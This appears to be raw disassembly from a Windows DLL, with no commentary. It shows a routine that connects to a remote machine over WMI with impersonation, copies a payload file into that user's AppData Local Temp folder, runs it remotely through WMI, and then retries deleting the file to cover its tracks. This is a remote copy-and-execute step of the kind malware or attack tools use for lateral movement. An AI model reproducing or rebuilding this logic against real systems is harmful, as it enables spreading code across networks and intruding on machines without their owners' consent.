cmp byte [rbp + 0xb8], 0
je 0x18000c398
call qword [sym.imp.WINMM.dll_timeGetTime]
mov ebx, eax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000c3ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x18000c3ac
call qword [sym.imp.WINMM.dll_timeGetTime]
lea ecx, [rbx + 0x2710]
cmp ecx, eax
jbe 0x18000c3ac
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x18000c363
jmp 0x18000c3ac
mov qword [rsp + 0x20], r13
xor r8d, r8d
lea rdx, str.WMI_RemoteExecuteProcess
call fcn.1800028a0
mov edx, 2
mov rcx, r14
call fcn.18000e8e0
nop
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x18000c3c9
mov rax, qword [rcx]
call qword [rax + 0x10]
movzx ebx, byte [rbp + 0xa8]
mov r14, qword [rbp - 0x18]
mov r13, qword [rbp]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x18000c3e8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rdi, qword [rbp - 0x48]
test bl, bl
jne 0x18000c485
jmp 0x18000c420
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pLoc__ConnectServer_CComBSTR_pwcsRemoteComputerRootCimv2___NULL__NULL__NULL__WBEM_FLAG_CONNECT_USE_MAX_WAIT__NULL__NULL__pSvc____CoSetProxyBlanket_pSvc__RPC_C_AUTHN_DEFAULT__RPC_C_AUTHZ_DEFAULT__COLE_DEFAULT_PRINCIPAL__RPC_C_AUTHN_LEVEL_PKT_PRIVACY__RPC_C_IMP_LEVEL_IMPERSONATE__NULL__EOAC_STATIC_CLOAKING__failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
xor bl, bl
jmp 0x18000c3d8
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pLoc.CoCreateInstance_CLSID_WbemLocator__0__CLSCTX_INPROC_SERVER__failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
mov r9, rdi
mov r8, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xa0]
lea rcx, str._lsc_Users_lsAppDataLocalTemp_ls.tmp
call fcn.180001780
mov rbx, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.WMIcopy
call fcn.1800029e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Log:GetLastError____d__n
mov rcx, qword [0x1800509a0]
call fcn.180002180
mov edx, 2
mov rcx, rbx
call fcn.18000e8e0
mov edx, 1
mov rcx, qword [rbp - 0x38]
call fcn.18000e8e0
mov edx, 1
mov rcx, qword [rbp + 0x10]
call fcn.18000e8e0
mov edx, 1
mov rcx, r14
call fcn.18000e8e0
mov edx, 2
mov rcx, rdi
call fcn.18000e8e0
mov edx, 1
mov rcx, qword [rbp - 0x40]
call fcn.18000e8e0
nop
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x18000c4d9
mov rax, qword [rcx]
call qword [rax + 0x10]
movzx ebx, byte [rbp + 0xb8]
test r13, r13
je 0x18000c4f2
mov edx, 2
mov rcx, r13
call fcn.18000e8e0
movzx eax, bl
add rsp, 0x158
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rdx, str.Log:Failed_to_Encode_DummyPayloadfile._n
mov rcx, qword [0x1800509a0]
call fcn.180002180
xor bl, bl
jmp 0x18000c4e0
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, 0x8007000e
call fcn.180001670
nop
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, 0x8007000e
call fcn.180001670
nop
mov eax, 0xa
mov word [rbp - 0x70], ax
mov dword [rbp - 0x68], 0x8007000e
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, eax
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, eax
call fcn.180001670
int3
mov eax, 0xa
mov word [rbp - 0x70], ax
mov dword [rbp - 0x68], 0x8007000e
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
nop
mov ecx, 0x8007000e
call fcn.180001670
int3